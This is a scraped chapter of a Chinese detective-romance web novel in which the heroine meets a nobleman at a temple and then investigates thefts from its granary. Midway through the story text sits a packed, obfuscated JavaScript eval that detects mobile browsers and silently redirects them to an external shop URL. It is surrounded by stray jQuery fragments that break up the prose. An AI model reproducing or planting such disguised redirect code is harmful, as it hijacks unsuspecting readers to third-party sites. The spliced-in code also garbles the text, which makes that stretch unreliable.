文趣网 > 其他小说 > 我成嫌疑人了?!(探案) > 20. 第二章第五回:粮囷
    “那个,姑娘是寺院里的人吗?”

    “那个,我有些急事,可以放开我吗?”

    闻声,男人收回了手,她迟疑着点点头,小声道了声“抱歉”,就小跑着朝着寺院深处而去。

    手里还残留着来自她手腕的余温,纤细瘦弱的手腕,一掌就能握住,稍一用力好像就能让她受伤。

    男人盯着自己的手,直到随从从身后走来,才收回眼眸:“去查查那个女子。”

    “是,羊都尉。”

    男人颦眉时,随从才赫然想起上山前的交代,赶紧改口:“公子。”

    ......

    换了月事带,虞捷有了安全感,坐在原地休息了一会儿后,才再次沿着来时的道路前往藏书阁。

    经过大殿前方时,耳畔里传来僧人念经的声音,声音厚重又深沉,梵音伴着木鱼声,在空阔的大殿里回荡。

    她不由得听的入了神,一没注意,自己的眼前多出了一个阴影,靠着本能绕道,却见那阴影竟然跟着她的方向挪了挪。

    她这才抬起头来,眼前赫然是刚才抓住她的那个男人。

    仔细一看,他似乎比松桔和涂文礼都还要年长一些,大约二十五岁左右,但凝视着她的眼底却比他俩的还要清澈。

    “姑娘也是来大殿上香的吗?”男人眨眨眼,向她展示了手中还燃着的三柱香,“我有点忘记应该用哪只手将香火插上去了,还望姑娘指教。”

    “不是,我只是暂住在这里。”虞捷赶紧摆手,“抱歉,我也不懂这些规矩。”

    “这样啊,这香也快烧完了,再不插上去,就麻烦了。”

    她也是第一次来,她哪里知道,可左顾右盼也没有落单的小僧,而男人手中的香梗已经烧得只剩小半截,火星离他的手指不过寸许距离。

    她心一横,道了声:“那你等我一下!”

    小跑去了最近的斋堂,别的地方没人,斋堂里总有做饭的吧。

    斋堂中值班的恰好是第一天见到的胖师弟,胖师弟一边嘀咕着“师兄在干嘛啊”,一边将上香的礼数教给她,之后前脚目送她离开,后脚就往藏书阁方向跑。

    “......原来是这样,真是多谢姑娘了。”

    回到大殿前,男人果然还站在原地,看见虞捷时,眼里露出一丝笑意。友善地表示感谢后,又问了句:“我也没带什么能送给姑娘的,这样吧,我就住在山下,姑娘若是有需要,可以下山来找我。我姓羊,羊昱,字季明。泰山羊氏。”

    刚说完,羊昱突然有些后悔,为什么要曝“泰山羊氏”,他家都不知道分支成什么样了,又是那么大的姓氏,可看着眼前姑娘清澈的眼睛,让他想起了另一个女人,于是下意识就把出身说了出来。

    虞捷同样困惑,泰山羊氏她倒是听过,可这人跟她素不相识,干嘛要把自己的出身说得这么清楚?他的出身和她有什么关系?

    困惑归困惑,既然对方先报了名字,自己也应该回以名字。

    “虞捷。一定要说的话,会稽虞氏。”

    “既然如此,是不是也需要我的名字?”

    忽然,从虞捷的身后响起一个声音,声音轻快却藏着不易察觉的戒备。

    “敢问您是?”

    “松桔,就是本地人。”声音的主人刚介绍完自己,又似是无意地往虞捷的身前挡了挡,“小捷也是初来乍到,很多事情不熟悉,不妨这样,我找我的小师弟来帮忙,施主有需要可直接询问他。”

    “本地人,姓松……”

    听到这个名字,羊昱眉头微蹙,像是在回忆什么。没等他想明白,松桔已经拉来了需要人帮忙抓贼的小师弟,之后便轻巧地推着虞捷,离开现场。

    再次回到藏书阁中,虞捷翻了几页《治民策》,大脑就有了困意,强迫自己集中精神读了几页,可那些字句实在太过深奥,读完“夫国之基,在民;民之力,在安。古之圣王,莫不以民为邦本,恤其艰、顺其欲,故能长治久安,传祚百代。反之,若君上失德,官吏残虐,赋役苛重,刑戮无常,驱民于绝境,则黎元之怒,足以摧山覆海,倾覆社稷,此非虚言,史有明鉴。”就两眼一黑。

    半天也没能让自己读完下一页。

    这和她以前看的刺绣图谱、话本故事完全不一样。

    不知不觉,她的脑袋一沉,进入了一个快速的梦。梦里,她变成了老鼠,藏在粮仓里偷吃,就在她快要吃到一块超级大的糕点时,一只狸奴突然降临,吓得她从梦中惊醒。

    一抬头,“狸奴”看着她睡眼惺忪的模样,似笑非笑地敲了敲她的额头:“不许睡。”

    “那个小师弟,”她揉了揉额头,倒也不疼,迅速转移话题,“你说你把我送到这里,就去帮他抓贼,结果你现在让他陪着羊公子,一点也没帮忙,这不好吧。”

    “你这是在嫌我碍事,想赶我走?”

    松桔在解烦司混了几年,哪里听不出她的话中话,明摆着是在这里逐客呢。但见她刚才昏昏欲睡的模样,怕不是自己一走,就要原地躺下盖被子了。

    “才没有。”说完,她的手朝着自己的小腹伸了下,虽然没有碰到,但月事带来的痛感和升高的体温还是让她不舒服,“其实我现在人也难受,读不进书,不如我们趁现在去粮仓看看,说不定就帮人解决麻烦了呢。”

    松桔的目光落在她的手上,又瞥见她微红的脸颊,鼻尖隐约可以闻到混在她身上的甜香中的血腥味。耳尖微微发红,声音柔和了许多:“人难受还要到处乱跑吗?我看你就是不想读。”

    “那你说你教我,你也只是盯着我的脸看,你也没教啊。”

    脱口而出的实话,令松桔的耳朵红得更彻底了。

    松桔本来想让她别狡辩,实在难受就好好休息,别拿不舒服当借口,赶紧读书。可看着她眼里亮晶晶的期待,拒绝的话到了嘴边又咽了回去。

    见他没说话,虞捷的脑子转了半天,鬼使神差地来了一句:“要不然,我看刚才那个羊昱公子好像挺聪明的,实在不行——”

    “——我们去粮仓。”

    松桔胡乱地抓挠自己的头发。见鬼了,他怎么会被这种话拿捏。

    虞捷当然不知道这能拿捏松桔,她只是随口一说,真要她去找人,她也心虚。

    不过松桔妥协了,目的也算达成。

    ……

    寺院里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629732|206323||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有两个粮仓,粮仓有两个,一个靠近斋堂,一个靠近偏殿。

    前者是平日里存放米面的,每天都有人进出。后者是存放晒干的杂粮和干粮以备不时之需的。失窃的那个就是靠近偏殿的这个。

    在粮仓前站岗的是两个与松桔年纪相仿的小僧,一人持一木棍,伫立粮仓前。

    松桔正要带着虞捷进入,却被那俩木棍结结实实挡在了仓门前。

    “是萍师弟喊我们来帮忙的。”

    “我知道,但他人不在,粮仓重地,我们不能放你们进入。”

    松桔还想说什么,却被虞捷拉住了衣袖。

    “怎么了?”他轻声问道。

    “别为难他们了。”她的眼睛盯着粮仓的侧面,“我们先在外面转转吧。”

    说是粮仓,但外层为圆形,所谓“圆曰囷,方曰仓(1)”,其实应该叫粮囷(qun,第一声)。

    不过这粮仓也奇怪,并非民间常见的地下窖穴,但也不是完全暴露在地面上。露出地面的空间约一层楼高,通体为竹木材质,却没有离地高度,无法防虫鼠。又因为仅有一层楼高,所以也无法被称作“仓楼”。

    虞捷贴着粮仓一楼的外沿走了一圈,四周由竹林环绕,但竹林的密度不足以挡住盗贼的身形。

    难不成是老鼠?

    再一抬头仰望仓顶。

    只见仓顶也是竹木,顶部有覆草,像是倒扣的斗笠,屋檐向外延伸,形成出檐。

    “最近山里有下雨吗?”

    “最近山里有下雨吗!”松桔朝着正门方向传话。

    “没有!”正门的看守小僧高声回话。

    “没有。”松桔传话。

    虞捷点了点头,开始有了一个模糊的想法。

    山里没有下雨,自然也不会有人去检查屋顶。但这盗窃都几个月了,总不至于几个月来都没人检查屋顶。

    不过为了以防万一,虞捷一扭头,看向身后的松桔:“我能上去看看吗?”

    “那不行,咱寺庙这粮仓建的早又是山上,只能就地取材,所以都是竹篾,承受不了我们的重量。要是上去把屋顶踩坏了,冬天就麻烦了。到时候你我都得被赶出寺院。”

    虽然很想溺爱,但这件事确实属于原则问题,松桔毫不犹豫选择了拒绝。

    “所有人都会默认屋顶不能上吗?”虞捷反问。

    松桔愣了一下,点点头,算是承认。

    “屋顶的作用是防水,既然你们的屋顶都不能上去,那么你们会检查屋顶的最大原因就是漏雨?”虞捷又问,眼睛亮了起来,“要是没下雨,就算下雨了但里面没漏,你们也不会去检查屋顶,对吗?”

    松桔被她问得一时语塞,确实,寺院里每天都有很多事情,不仅有僧人的诵经,教导小僧习武技巧,每天还有山下来的香客。谁也不会没事去关心一个没漏雨的屋顶,特别是被所有人都知道不能擅自上去的粮仓屋顶。

    说这句话之前,虞捷心里的思绪还没有串起,随着语句的增加,她的思路也越来越清晰。

    说到最后时,她忽然抬起眼,凝视着松桔:“如果盗贼也觉得,你们肯定不会往屋顶检查呢?”